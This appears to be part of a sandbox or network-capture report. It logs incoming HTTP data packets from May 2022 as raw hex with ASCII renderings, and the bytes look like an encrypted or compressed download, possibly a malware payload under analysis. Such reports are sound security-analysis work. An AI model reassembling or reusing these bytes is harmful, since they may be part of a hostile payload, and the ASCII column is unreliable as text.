2022-05-23 06:34:53 UTC	172	IN	Data Raw: 66 53 00 00 c4 98 02 00 70 53 00 00 08 5a 00 00 10 a1 02 00 10 5a 00 00 1e 5c 00 00 e4 98 02 00 70 5c 00 00 0d 62 00 00 0c 99 02 00 10 62 00 00 37 63 00 00 2c 99 02 00 40 63 00 00 72 63 00 00 4c 99 02 00 80 63 00 00 d6 63 00 00 0c 9f 02 00 e0 63 00 00 5a 66 00 00 54 99 02 00 60 66 00 00 a7 66 00 00 38 a1 02 00 b0 66 00 00 fe 67 00 00 74 99 02 00 50 68 00 00 e4 6b 00 00 80 99 02 00 f0 6b 00 00 91 6e 00 00 a0 99 02 00 a0 6e 00 00 03 6f 00 00 b0 99 02 00 10 6f 00 00 af 6f 00 00 b8 99 02 00 b0 6f 00 00 c9 6f 00 00 0c 9c 02 00 e0 6f 00 00 85 70 00 00 c8 99 02 00 90 70 00 00 ae 70 00 00 f0 99 02 00 b0 70 00 00 c8 70 00 00 bc 9c 02 00 d0 70 00 00 f5 70 00 00 f0 99 02 00 00 71 00 00 76 72 00 00 04 9c 02 00 80 72 00 00 87 74 00 00 d0 99 02 00 90 74 00 00 de 74 00 Data Ascii: fSpSZZ\p\bb7c,@crcLcccZfT`ff8fgtPhkknnoooooopppppppqvrrttt
2022-05-23 06:34:53 UTC	176	IN	Data Raw: 37 35 3c 65 64 6b 67 65 21 7a 24 55 39 6b 2b 68 00 4e 31 6b 6a 5e 48 3c 4d 31 76 66 40 24 5f 79 69 58 50 2b 6f 2a 68 48 2a 66 5a 51 6c 35 76 43 35 71 6a 66 58 45 72 67 78 6a 63 43 62 34 76 5f 65 37 35 3c 65 64 6b 67 65 21 7a 0a 21 5c 13 5f 68 00 4e 57 c4 68 5e 48 2c 4d 31 76 d6 42 24 5f 7d 69 58 50 2b 6f 2a 68 48 2a 66 5a 51 6c 35 56 43 35 11 44 14 3c 24 06 06 78 6a d9 49 62 34 76 9f 67 37 35 30 65 64 6b d3 67 21 7a 24 55 39 6b 2b 68 00 4e 31 6b 6a 1e 48 3c 0d 1f 12 07 34 45 5f 79 69 c0 53 2b 6f 2a b8 4a 2a 66 5a 51 6c 35 76 43 35 71 6a 66 58 45 72 67 78 6a 63 43 62 74 76 5f a5 19 45 58 04 10 0a 67 65 dd 75 24 55 39 8b 29 68 00 5e 31 6b 6a 9e 4a 3c 4d 31 76 66 40 24 5f 79 69 58 50 2b 2f 2a 68 08 2a 66 5a 51 6c 35 76 43 35 71 6a 66 58 45 72 67 78 6a 63 43 Data Ascii: 75<edkge!z$U9k+hN1kj^H<M1vf@$_yiXP+ohHfZQl5vC5qjfXErgxjcCb4v_e75<edkge!z!\_hNWh^H,M1vB$_}iXP+ohHfZQl5VC5D<$xjIb4vg750edkg!z$U9k+hN1kjH<4E_yiS+oJfZQl5vC5qjfXErgxjcCbtv_EXgeu$U9)h^1kjJ<M1vf@$_yiXP+/hfZQl5vC5qjfXErgxjcC
2022-05-23 06:34:53 UTC	179	IN	Data Raw: 33 34 66 61 0d 0a 81 49 28 73 e8 1d 27 47 7c d5 97 c9 5f 11 9e 8c 71 ea fd 06 42 f8 2f 9d 9f 00 05 c6 0b 9d 63 28 27 43 55 d6 20 40 b4 49 12 53 cc 2d fa a0 3f 53 34 d7 6b 2b e9 75 39 08 18 e2 f1 c3 79 3a b8 33 7d 87 61 28 4f 64 d5 50 93 88 ad 2d 82 a1 2b 2d a6 8d f4 9c 45 bc 24 1d e7 1d 32 cf c7 87 95 e2 0e 15 7b 6c da aa b6 40 4b 72 7d 14 51 ee 64 0d ad 10 0e ac 6e 1f d1 09 20 6b eb 2b 3f 2d 48 0c 47 0d 05 53 07 f0 2c 2f d1 5e 18 a5 86 25 14 ed 1f 26 e5 70 7d 84 70 06 ff 13 28 45 b3 0a 0f 6e e2 36 15 b7 c1 44 17 b6 40 4b 36 92 f0 49 ee 64 0d ad 10 12 ac 6e 1f 74 04 c3 6b d2 95 23 14 e2 ba 3b 11 b7 c5 e7 fe 08 40 d6 00 a5 fb 81 4b e0 a7 b3 54 e5 78 01 c8 78 06 9d 87 73 8f a3 8e 7b a0 a2 aa 67 bd 3b 28 e4 72 42 d2 89 9b 94 e6 10 56 e1 47 bd 07 e0 6e 1f 89 Data Ascii: 34faI(s'G\|_qB/c('CU @IS-?S4k+u9y:3}a(OdP-+-E$2{l@Kr}Qdn k+?-HGS,/^%&p}p(En6D@K6Idntk#;@KTxxs{g;(rBVGn
2022-05-23 06:34:53 UTC	192	IN	Data Raw: 31 31 62 62 0d 0a 1e 00 24 96 76 a0 de 7c 0c a2 2d 43 89 74 0c 45 cf 76 3c cc 7c 11 c4 1e 10 3a f8 1c 3f 52 7a 79 23 e3 0d 4d ef 1f 16 ab 70 11 2b f1 7e 6a e7 2d 22 37 84 7e e5 e8 0e 05 8c 49 9a 40 74 c2 dd a4 8e 6f ee 30 46 fb 69 32 8d 72 7b d5 81 3b 56 23 94 20 ad b7 08 56 ff 23 77 e3 1a 1e d1 01 f4 2b ae 4f 0f 58 fb 0b 3d d0 19 52 ca 63 4b 68 eb 13 3f 54 bd 66 55 e1 26 24 eb 71 3d 98 20 50 34 54 87 64 ea 2a 02 80 7d ea a9 b2 26 4c d0 39 cf 22 53 9d bf 63 f6 9c d8 75 ac 81 cd 59 f0 24 3f d1 5e 08 00 5e 1c 65 ed 1f 36 e5 70 69 84 70 16 f7 fb 1d 45 f3 2a 1f f1 be 62 d8 b5 03 38 65 75 43 fc ee 21 0c ee 20 06 bd 61 32 60 49 5d 68 81 0b 56 de f7 5e 48 57 08 56 5c ef 05 43 de 3c 0e 17 ed d4 90 ab 1d 2f 1c ff 0d 3e e7 70 11 ca 70 4e ad 23 3f 32 bc 88 78 eb 2e Data Ascii: 11bb$v\|-CtEv<\|:?Rzy#Mp+~j-"7~I@to0Fi2r{;V# V#w+OX=RcKh?TfU&$q= P4Td}&L9"ScuY$?^^e6pipEb8euC! a2`I]hV^HWV\C</>ppN#?2x.
2022-05-23 06:34:53 UTC	196	IN	Data Raw: 31 30 36 64 0d 0a 43 e3 79 5e a8 74 31 87 bd 20 4c b8 ce 9a de bb 49 7d 32 ea 5e 40 49 3e 29 6b ad 1b 78 bb 5b 8b 76 a7 2d 14 54 f8 1c 68 b2 ee 11 19 e3 05 1a 91 bb 7a a6 e4 9f 40 ff b0 83 60 d1 08 42 e6 0d 5a 94 ca e6 34 fd 1a 55 bc 70 14 ee 21 2b ec 20 19 32 af 50 7b 04 29 68 8b 06 01 83 34 6c 4a 3c 05 ba 63 55 2f 26 5f c6 eb 22 56 2b 27 a3 2a 60 62 ef 18 49 24 bc 34 33 7d fa a2 ed 1a 75 3a 64 b9 22 ea 01 02 dd 2a a4 9a c8 f2 79 4d 78 8e 94 65 e0 1f 0c 56 b8 1e 03 c4 5b d9 36 ac 2f 6e dd 1a ec 31 f7 23 70 23 a5 79 69 99 35 1b 6a ab 2d 78 5f a6 5a 51 ed 40 46 71 db 35 7e 22 d3 00 42 ec 2d 42 2f c8 2f dc 9e 69 a3 37 35 83 88 bf 63 67 dd 1d e8 2d 55 b8 94 c6 b3 08 4e 3e ef a5 a5 b7 c3 a4 35 8d 99 bf e8 93 b5 e0 14 74 23 3a 62 e3 a4 62 e5 b6 21 ab 70 9e f7 Data Ascii: 106dCy^t1 LI}2^@I>)kx[v-Thz@`BZ4Up!+ 2P{)h4lJ<cU/&_"V+'`bI$43}u:d"yMxeV[6/n1#p#yi5j-x_ZQ@Fq5~"B-B//i75cg-UN>5t#:bb!p
2022-05-23 06:34:53 UTC	201	IN	Data Raw: 37 38 30 65 0d 0a fc e8 80 71 9b bd dc 75 89 f4 98 6c ef 14 61 42 a6 14 4e 53 47 e3 40 52 6f e4 5e 35 3c a2 20 4f 53 00 02 59 24 d4 4d 4f 1f 2e fe 09 9c ea 2e 7a 7c b9 eb 31 76 e7 34 00 6b 75 55 31 fd ec ea 22 6a 48 2a fb 7f 37 6c be fb 4b 37 71 6a 91 b9 84 98 61 f1 ff 6b 41 62 34 f7 ea 6d 35 35 3c be 73 2c 2f a4 84 72 26 55 39 67 aa dd 08 4c 31 6b df 71 39 5a c6 b4 7e 64 40 24 d4 3d 4d 6c db 6f 4b 1a e3 1c 0e 5e b2 23 24 35 76 0b be a9 22 e5 a0 ba 7d e3 2a 94 9c bc da 8d 21 56 65 de 89 c1 9a 9b 23 ee 19 05 22 9c 87 78 62 2b 81 ad b3 ce 94 ad 1a 6c 0c 52 62 71 66 0c a9 12 d9 21 d3 9b aa 2b 0e 58 cd 09 66 5a 90 08 11 46 48 b4 05 4e 56 f7 54 c5 5c bf ef 6b 41 62 34 2c 52 bd 37 b4 b9 6d 66 6b 67 1f 21 85 db d4 8c 63 29 68 00 32 ba 35 cc df fd 34 4f 31 76 0c Data Ascii: 780equlaBNSG@Ro^5< OSY$MO..z\|1v4kuU1"jH7lK7qjakAb4m55<s,/r&U9gL1kq9Z~d@$=MloK^#$5v"}!Ve#"xb+lRbqf!+XfZFHNVT\kAb4,R7mfkg!c)h254O1v
2022-05-23 06:34:53 UTC	217	IN	Data Raw: 93 d6 c8 74 fe db 25 48 05 ec f9 96 2d eb 12 7c 75 60 5c a4 36 a4 07 46 00 b1 d6 12 37 71 b7 21 40 5f 26 92 c1 3e 0f 97 78 ba c3 2c 03 8c 70 aa 82 58 0c b5 09 15 42 27 f8 b0 82 d3 33 d9 24 0f 5b d1 9f 89 af e7 2e 75 58 ea e5 81 b0 fa 2e 42 6c ce 36 43 48 82 9f f4 63 34 3e d6 60 4e 2a 3e 65 2c e0 ac 2d a2 be 74 0e 71 94 cb a4 cc 06 b2 87 22 99 0c 18 7d 16 b3 6b 40 e3 1b 5d 5d 42 46 2c 6f ed 2c 6c 12 5b 5f 5e 6c f2 32 67 6d c1 45 0b 58 fd d1 53 46 58 e2 0f 46 6c 4c da 4b 9f b4 78 41 3c c4 c1 9a de f1 68 71 61 9c ca 43 ca 9f d8 68 a0 9f a1 3a c4 7d 52 3e c1 50 7b 21 6d a1 c4 2a a8 6e 4c 20 71 bd 0b 51 ad 59 52 2b 25 f0 1e 42 30 a3 45 6f 78 ad 27 67 02 ff 06 d9 65 f6 51 18 05 6d ea 13 41 41 0c 24 bc 35 ac 6f 4c 50 9f af fc 6a 35 0c 18 1d 22 ff 22 64 74 de 35 Data Ascii: t%H-\|u`\6F7q!@_&>x,pXB'3$[.uX.Bl6CHc4>`N>e,-tq"}k@]]BF,o,l[_^l2gmEXSFXFlLKxA<hqaCh:}R>P{!mnL qQYR+%B0Eox'geQmAA$5oLPj5""dt5
2022-05-23 06:34:53 UTC	231	IN	Data Raw: 31 31 65 38 0d 0a ab 34 b0 e0 02 1c 74 1b 4e a3 2c 6c 1a b7 36 75 5c b4 32 67 05 a2 a6 66 58 c4 06 43 48 6d 60 ba 6a f3 32 7b 51 8c e4 05 65 e5 2f 43 51 1d 3a db aa b8 27 0f 5c 7a fe ef f8 eb 2a 6c 08 0a 3c 88 f5 cb 60 7b 4d e2 1c 74 1b 87 de 17 49 2a 2e d3 54 cd d2 77 43 7d fa bd 2e d3 8e 3a ec 24 4e 03 0b e1 f0 26 00 2d c8 d5 f0 a9 ed 3f 43 75 a8 36 00 5d 6c 38 7d 3f 48 c3 9d 4f 12 a2 b7 c3 05 b0 9a ee 44 24 5f 4a a9 9f 14 0f 37 95 3d 49 2a dd 8b 02 6a 35 ff 07 11 2d 59 90 d3 bb f3 9c 0c 49 67 43 6d b0 35 5b 65 37 b4 c7 b4 37 6d 67 6a a5 57 20 55 39 ea d0 71 96 48 31 64 ee f9 48 3c 4d b0 8d 4a 92 2f 5f 76 ec 57 58 2b 6f ed ed f8 29 66 5a 89 ee 25 76 c2 80 c1 69 66 58 d4 b9 fe f1 eb e6 f3 61 34 76 f0 38 37 35 b7 e8 d4 68 67 65 99 65 a1 be 68 27 a6 ed 70 Data Ascii: 11e84tN,l6u\2gfXCHm`j2{Qe/CQ:'\zl<`{MtI.TwC}.:$N&-?Cu6]l8}?HOD$_J7=I*j5-YIgCm5[e77mgjW U9qH1dH<MJ/_vWX+o)fZ%vifXa4v875hgeeh'p
2022-05-23 06:34:53 UTC	235	IN	Data Raw: 35 63 65 34 0d 0a f2 7b cd 37 35 3c ee e1 43 63 65 21 f3 a0 71 a1 6b 2b 68 48 c3 74 ab 22 d7 cc 18 dd 31 76 66 cb 61 c3 f0 ed 7c d8 2b 6f 2a e3 0d b2 ef de 75 ec 35 76 43 be f4 4a 62 58 45 3e ec b7 e3 27 67 1a bf 33 d3 2d bc e2 b5 21 40 1b ec 20 b5 f3 60 71 51 e0 6e cc 89 0a 15 0b e1 db 78 38 4d 31 ff 22 64 7c d4 3c c9 d1 14 0f 3f a1 ed 70 2e 66 5a 19 e5 41 52 03 bc 35 4e 56 d3 00 f6 23 f3 2f e3 c8 2f bc ff 1b 41 17 dd df 2f 9b 94 2b ee d9 32 a1 95 36 ef b8 93 ff b1 89 4b 80 51 48 7d f3 30 76 66 40 cd 80 80 96 a7 97 6e eb cf 88 05 2a 0d 1f d5 6b bc 33 c7 8d 54 23 f4 7c 84 17 e3 75 eb 16 c7 62 54 be 7b a2 72 b5 c8 83 4a 6b e6 10 a1 bb 0f 2d 29 ea 5e e8 f0 c5 68 7b ad db 70 38 4d 31 9e 70 73 24 9e dc 51 5c 50 2b 65 a1 e5 70 2e 66 5a a6 8d 1e bc 92 dc 72 a0 Data Ascii: 5ce4{75<Cce!qk+hHt"1vfa\|+ou5vCJbXE>'g3-!@ `qQnx8M1"d\|<?p.fZAR5NV#//A/+26KQH}0vf@nk3T#\|ubT{rJk-)^h{p8M1ps$Q\P+ep.fZr
2022-05-23 06:34:53 UTC	251	IN	Data Raw: 46 14 9e 3e 20 37 35 b9 a5 6b ef 32 9a de 85 9c c3 8d 6b 2b 81 dd b0 ce 94 ad 1b cc 66 dc b5 76 de df 36 bb 50 25 d5 15 eb ee 5f ec a4 25 9e ab d0 19 b1 c9 41 4f 80 ad 23 d0 f9 59 57 78 eb 16 cb 3d 81 3b b2 e4 72 bd 86 9b 64 6b e6 10 a9 91 70 23 d4 ac 6e e8 ac 29 85 6b e1 13 c8 cb ac 1a bc b7 a9 27 95 b8 80 5d d9 66 ef ab 1d c8 64 fc 5b 51 ab 70 0e 25 19 d6 6a e7 1d 3d 41 5d 87 95 a2 2e 1a 3f f7 2a 1d ed 53 37 65 ef 2e 1f 21 aa 37 a4 de 6c e3 a0 25 84 c7 75 4f 42 99 0c 18 6d 59 76 66 40 cc 78 6f 96 a7 97 6e af 42 68 48 2a a1 1f 29 e7 cc 97 43 5e 34 12 2a d1 00 0a e6 3d 12 c5 8f 62 34 f7 2a 1d 1d 17 28 26 ef 2e 1f 8d a9 3d db aa 71 e2 6e b8 c7 0b 95 88 7a 10 48 bd 08 95 c8 38 bf db de 0c cd f9 3b 66 6f ed 2d d4 a4 e7 bc 51 07 70 ea 01 bc 34 f6 e7 2d d9 ce Data Ascii: F> 75k2k+fv6P%_%AO#YWx=;rdkp#n)k']fd[Qp%j=A].?S7e.!7l%uOBmYvf@xonBhH)C^4=b4(&.=qnzH8;fo-Qp4-
2022-05-23 06:34:53 UTC	258	IN	Data Raw: 32 31 65 63 0d 0a 59 45 72 aa de 5d 63 c2 ef 4c 77 5f 65 53 a7 f0 02 e5 de 1f 64 21 7a 8c a1 b1 45 40 e5 78 4f 31 6b 76 d7 c5 44 4c 31 76 e7 f5 5c 5e 79 69 36 6f 07 4c a1 e5 30 2b 66 5a 6a 9d 8d 77 43 35 71 65 22 80 ce b1 2f f9 ae 23 41 62 34 37 01 3a 69 6e 61 a6 a3 ee 1f 64 21 7a 47 12 96 6b aa ed 78 4f 31 6b c6 3c 48 3c 8c 94 0e 67 40 24 5c b8 cc 20 51 2b 6f 25 e9 fd 52 67 5a 51 39 28 44 eb f2 f4 1a 67 58 45 8c 0c 77 6a e8 ce 12 35 76 5f dd 24 4d c7 44 29 e0 a1 92 c0 51 ee 84 d0 68 e1 a9 e9 48 b8 e6 1a 5f 48 3c cc 84 06 67 40 24 1c e0 4e e6 d1 9e 1f 2b 68 48 32 3a 74 ef e7 a0 06 42 35 71 e1 eb 20 44 72 67 90 f0 04 43 62 bf 86 e7 21 10 3a 3c 8c 83 95 98 9a e6 ff 54 54 39 6b e7 f2 fc 4e 5a ee 1a 5f 48 3c 30 79 fb 2a 64 14 d6 fc 19 59 50 2b ee af 18 49 2a Data Ascii: 21ecYEr]cLw_eSd!zE@xO1kvDL1v\^yi6oL0+fZjwC5qe"/#Ab47:inad!zGkxO1k<H<g@$\ Q+o%RgZQ9(DgXEwj5v_$MD)QhH_H<g@$N+hH2:tB5q DrgCb!:<TT9kNZ_H<0ydYP+I
2022-05-23 06:34:53 UTC	267	IN	Data Raw: 36 37 33 33 0d 0a 9a 3e 87 60 7b 41 c4 20 5d 2b a8 6e 4c 74 da 58 5a 51 ab 71 52 03 0d 05 6e 66 9f 01 56 23 13 44 62 43 a5 70 52 3f 9f 74 66 3c a4 00 4f 07 61 a0 3e 00 35 f1 26 2b 68 81 02 15 0b 51 ac d0 ae cc 45 52 06 c4 24 1c 11 ae 1c 74 53 4f 53 b9 48 41 22 7e 29 1b bc 32 67 4d c9 2f 46 8f 01 b3 03 5c 12 60 c2 16 10 0e 01 ea c5 3f fb 21 40 5b 76 fd 6e 7a af 19 1d 5b dc 89 c1 a4 34 e2 3e 7a 78 bd 39 15 46 a9 f5 29 5f be 2d 7c 20 f1 3f a6 68 23 6e 42 2a 27 e5 71 52 33 f4 1d 4e 16 5e 84 16 43 08 64 e2 37 46 44 1a 16 21 9a f2 78 41 0c 47 d1 cd 21 bb 48 71 51 68 ea 04 24 26 21 ea 2e 7a 20 4e cb 31 76 e7 34 00 37 d9 fd 52 50 a0 2b 0e 00 c1 6e 42 72 da 28 11 16 07 be 35 4e 16 14 ce 7f dd 2d 6b 63 c8 36 10 46 d4 29 13 4d 71 ee ed 43 65 65 21 f3 60 71 19 83 11 Data Ascii: 6733>`{A ]+nLtXZQqRnfV#DbCpR?tf<Oa>5&+hQER$tSOSHA"~)2gM/F\`?!@[vnz[4>zx9F)_-\| ?h#nB*'qR3N^Cd7FD!xAG!HqQh$&!.z N1v47RP+nBr(5N-kc6F)MqCee!`q
2022-05-23 06:34:53 UTC	283	IN	Data Raw: be ba 76 a7 2d 7c 53 f8 24 00 ef f8 88 0d e9 3d 72 af 3c be 4b 71 fd 0e 6d 35 e1 23 38 0d f9 32 f0 e1 2e 2b 8a 6f dc a0 9a 89 7d c4 6e 64 82 be 9c de 85 1f a5 36 ef f9 6b 00 4e 0a 9c 65 da bf 3e 4d 31 f7 98 5d 65 50 79 66 dc 38 29 6f 2a e9 b6 ff ed 55 51 63 b1 48 41 35 71 51 95 57 c0 c1 63 78 6a a4 06 3a 0d f5 7f 65 b6 70 64 68 18 6b 67 e4 54 22 91 89 13 6b a0 2d 58 a6 41 40 95 a1 8f 79 15 94 bd a4 40 e5 32 21 79 10 db f3 27 a7 25 c8 ab 23 02 71 e3 35 76 c2 40 29 c0 e9 58 45 f9 22 20 e3 26 c3 a5 70 52 2b 79 89 d3 3c a4 08 4f 13 6b a0 36 00 21 57 6f c4 90 6b 0a 15 1f 49 d7 0c 18 39 b0 02 42 34 9e 48 d7 61 9f 14 0f 1f d5 a5 eb 2a e7 16 75 1c c0 29 7c 9d f0 1e 42 28 57 d4 fb 59 eb 17 67 12 a8 aa 74 ec f0 71 18 19 fc 08 c6 65 a0 3e 00 29 ee b6 d4 97 81 02 15 Data Ascii: v-\|S$=r<Kqm5#82.+o}nd6kNe>M1]ePyf8)oUQcHA5qQWcxj:epdhkgT"k-XA@y@2!y'%#q5v@)XE" &pR+y<Ok6!WokI9B4Hau)\|B(WYgtqe>)
2022-05-23 06:34:53 UTC	293	IN	Data Raw: 32 32 64 65 0d 0a 2e f3 b3 2b c8 9b bd 32 7b 45 df b1 21 65 64 58 a7 2d a8 3e 00 69 71 e0 2e 56 f1 4e 31 ac 2e 7a 70 52 7e 35 76 2e c5 e4 2a 19 ae 1c 74 1f 0c 5a 93 48 93 d8 da 0f f4 74 ce 51 c8 90 f8 0d 1c 61 46 49 f1 2e 47 77 e3 40 52 6b 79 c7 1a 11 a2 20 4f 57 15 89 26 24 d4 7d 4f 1b c1 a8 b1 ce ea 1e 7a 78 45 c1 a3 af e7 04 00 6f de 58 a7 af aa 1b 0e 58 1c c3 ae 83 da 28 11 46 c8 71 55 5e 8e 8c c2 72 67 30 e3 66 92 92 34 76 17 ee e4 7d b7 aa 2c e0 3b 41 41 32 a7 91 69 34 63 97 e0 82 fd 27 e1 82 01 b5 16 39 3f ef 2b 34 16 f0 1a 40 19 a2 14 0a 29 1e 62 e5 b6 21 e7 b1 52 8b 35 71 6a 2e d3 f1 56 b7 78 6a 63 0b e9 98 52 9f 65 37 35 78 ee d0 4f c7 65 21 7a 6d dc 4a b3 a2 2c 24 06 ba ef 4e e6 48 3c 4d 78 ff 0d 88 65 d4 a0 e0 1c 74 13 e4 ae 4c f8 2a 66 5a 10 Data Ascii: 22de.+2{E!edX->iq.VN1.zpR~5v.tZHtQaFI.Gw@Rky OW&$}OzxEoXX(FqU^rg0f4v},;AA2i4c'9?+4@)b!R5qj.VxjcRe75xOe!zmJ,$NH<MxetLfZ
2022-05-23 06:34:53 UTC	301	IN	Data Raw: 31 38 39 33 0d 0a 55 d0 2d d6 97 ff f6 3a 15 6f 5e 75 e8 d9 37 76 12 3c cd 6a 84 96 a7 97 6e 27 5c e1 32 2a e7 1f 19 e7 dd 76 43 b4 04 22 c0 f0 37 72 a0 3d 52 cc 91 1c 34 b7 32 5d 3c b4 49 5d a1 d7 a8 7a 4a 3f 1c 21 b0 2e 13 e9 75 76 4a e2 74 34 8f 79 7d 05 72 9d 40 e5 32 49 66 99 35 1b 61 ab 1d 78 a9 1b 2a 51 ab 70 36 5d cd 00 6a a7 35 05 75 e6 0d 2a bd 7f 61 34 fd 12 25 73 be 71 55 20 e0 22 5d aa 2f 6c dc 75 4f 0b 20 8b 81 d9 68 fb a1 b7 b7 8b 79 f5 a2 10 65 01 26 37 03 0d e8 a3 e6 28 1b 62 e5 b6 61 24 be af ab 3f 8b 95 99 10 ce 77 7c b6 6a 63 84 26 10 2e 47 29 38 35 74 e0 a4 1e 30 a2 65 5e 04 5e fd c3 2b d1 9c b8 6f 3d 2b e6 be 35 9f 5c f7 12 64 04 fb b0 16 33 d1 5f 4b 0a 58 5c f0 0d 9d 15 48 6d 00 2b e4 71 eb 22 7c 1d 26 d7 87 95 e2 07 46 6c f3 83 65 Data Ascii: 1893U-:o^u7v<jn'\2vC"7r=R42]<I]zJ?!.uvJt4y}r@2If5axQp6]j5u*a4%sqU "]/luO hye&7(ba$?w\|jc&.G)85t0e^^+o=+5\d3_KX\Hm+q"\|&Fle
2022-05-23 06:34:53 UTC	308	IN	Data Raw: 36 35 62 0d 0a c3 47 61 37 35 0b eb 2a 56 a0 20 bd 9d bc 90 39 ea 66 f4 fe b1 ec 6c eb 2b d4 b1 66 e1 71 a1 05 a8 fb 51 14 58 3b 6e e3 31 e1 0d a6 de 27 5d a2 f2 fd 0e b9 86 8b a7 b2 43 fb 32 f4 eb 16 cf 76 34 58 5f ee ba 1d 38 65 64 e0 22 f5 a8 fe 00 dd 39 6b 2b e3 45 c2 b8 2f 4e 26 c3 79 d1 b8 32 42 30 af da 61 6d 58 50 a2 2b 0e 00 00 a7 23 f2 19 e5 71 52 23 be f4 7a 62 58 45 3a ee 24 4e 3b ca 26 10 26 d4 20 b3 bc 78 41 2c e0 22 c5 a8 3e 00 15 b2 2e ab 20 89 02 15 53 e3 1a 6c 0c c6 74 e2 ef 04 00 77 f2 2c c0 14 a0 22 a2 2c c3 af 46 5e 51 6c bc 32 67 15 99 71 0a a7 ba b5 e2 68 6e 63 43 ed 8b 16 5f 29 bc f6 cb bd dc b0 2c 0d 0e 61 db d4 8c 7b 2f 68 00 76 b6 61 6c 9f e5 2c 49 31 76 63 c1 91 4f 7d 69 58 d4 85 56 2a af cd 32 62 5a 51 c6 aa 04 43 b4 f4 72 62 Data Ascii: 65bGa75V 9fl+fqQX;n1']C2v4X_8ed"9k+E/N&y2B0amXP+#qR#zbXE:$N;&& xA,">. Sltw,",F^Ql2gqhncC_),a{/hval,I1vcO}iXV2bZQCrb
2022-05-23 06:34:53 UTC	309	IN	Data Raw: 31 31 35 62 0d 0a 28 07 f2 79 55 b8 37 74 65 a0 3f 14 1d 6e 94 d4 9f f1 cf 44 5b 2d 3e e6 7b 09 ba be e7 35 14 3c ad d5 1f db 6e 5f 6b 53 89 59 01 1b da b5 1e ae 84 70 49 da 5c ed 45 19 22 40 47 ea 06 5a 8c f3 4f 27 3f b4 79 5d 67 30 98 9a a0 0f 1c 62 23 ba 34 af 45 7e 1a fc f3 5e 89 51 7d 21 fd 2b 70 d3 be 52 a3 89 b9 28 a5 eb 81 4d a3 2b 6a d0 29 05 39 48 ca 8e eb 13 68 ec f3 92 87 e1 26 73 e9 71 4e b7 78 c7 c8 c3 24 ed 68 2e e6 e2 7e 6c aa f2 1e b5 af 45 7e b4 1b a1 5e 89 51 7d 3d f7 13 70 7b ff 5c fb d9 25 1b 83 86 4d da a1 23 6a 96 29 05 60 3c 7b 71 eb 13 68 e9 05 cb 27 eb 26 73 c5 e2 76 5f 24 38 9a fd 21 4f bb e6 10 11 1b fb b7 66 e0 6e 58 44 75 e1 64 ec f5 48 3c 4d f6 33 5e e7 40 e0 79 a8 3d 68 27 ee 6f 50 40 01 66 5a d0 19 0d 17 4b 7b 87 ad 23 68 Data Ascii: 115b(yU7te?nD[->{5<n_kSYpI\E"@GZO'?y]g0b#4E~^Q}!+pR(M+j)9Hh&sqNx$h.~lE~^Q}=p{\%M#j)`<{qh'&sv_$8!OfnXDudH<M3^@y=h'oP@fZK{#h
2022-05-23 06:34:53 UTC	313	IN	Data Raw: 32 35 62 66 0d 0a c3 71 5d 89 e9 74 a4 0d a8 98 42 92 81 c2 6c e0 a9 a1 2f ef 17 41 ed 40 66 39 1c d6 6b a1 1d 5d c8 76 7c 6a e2 0e 7a cb 0b b4 9d f6 50 24 6e e5 1e 7f 33 cd 91 5f 19 b2 6e cc f3 00 4e ba 3e 72 d5 05 2c 00 ba f6 e6 42 24 5f 91 84 07 50 2b a8 6f 70 09 2c 6c 5a d0 29 2d 5b d2 35 71 eb 23 40 76 23 98 87 eb 16 5b 08 d9 7c 5f a2 72 25 d2 a7 59 6b a6 00 31 7c a5 20 29 7f 00 1d 0f c5 64 7b e1 13 50 70 c6 34 ec fd 40 24 17 fa ad 68 0d c2 43 26 68 48 a3 2a 7e 59 39 7d fd af 7d f2 86 06 9f 00 82 65 a6 66 63 70 a2 bd 33 ab a2 72 25 85 0d 5c 6b a6 00 31 6a a5 20 29 e5 15 17 4e c5 74 7b e3 1b a4 fb 08 21 db 7e 6b 24 de 3c 79 0c 45 2b 6f a1 25 58 92 a7 9a 91 ac c2 97 82 df 77 e3 33 48 c4 3f 77 bd d1 9b 90 e3 41 66 89 9c 3a ea b7 20 74 e2 22 8d e6 3f 0c Data Ascii: 25bfq]tBl/A@f9k]v\|jzP$n3_nN>r,B$_P+op,lZ)-[5q#@v#[\|_r%Yk1\| )d{Pp4@$hC&hH*~Y9}}efcp3r%\k1j )Nt{!~k$<yE+o%Xw3H?wAf: t"?
2022-05-23 06:34:53 UTC	323	IN	Data Raw: 31 31 63 64 0d 0a a6 35 bd 29 40 2f 40 a3 dd e3 a5 21 1d 2f e1 bf f5 d7 ba 2f 4e 1a c3 78 69 71 9e 34 4f 24 5f 31 e0 5d 57 52 6f 2a 24 c3 e1 2a d1 94 e7 e3 3e c8 fa 39 e1 3a 7c 25 3a ec 14 4e 0b 0b e9 40 52 2f 2d b4 f1 6c 3a 2c 94 87 a9 a8 36 00 5d 6c 38 7d 3f 48 c3 9d 4f e2 a0 b7 c3 05 b0 9a 1e 42 24 5f f2 d4 f8 51 2b 6f 62 e3 fd 82 67 5a 51 5f fc ff 0f 11 2d d2 70 f5 41 72 a0 3c 4e 3b 90 24 3d 76 6c be 0a 51 46 64 64 64 e3 c1 25 7a 24 68 2f c6 2f 68 0f ca f2 68 6a 5e 75 98 0e 34 76 69 c4 ab 5c 79 69 65 17 f3 6a 2a 67 cc 64 64 5a 51 51 2e d8 45 35 7e ee 52 5a 45 72 5a d6 dc 65 43 6d b0 2b 5e 65 37 08 75 45 6f 6b 68 e1 5d 7e 24 55 04 65 f6 67 00 41 b4 0a 6e 5e 48 fb c8 99 77 66 40 c9 97 9d 69 33 d5 83 6e 2a 68 1a a3 e3 f2 50 6c 35 ce 98 b4 c8 1c e7 dd ed Data Ascii: 11cd5)@/@!//Nxiq4O$_1]WRo$>9:\|%:N@R/-l:,6]l8}?HOB$_Q+obgZQ_-pAr<N;$=vlQFddd%z$h//hhj^u4vi\yiejgddZQQ.E5~RZErZeCm+^e7uEokh]~$UegAn^Hwf@i3nhPl5
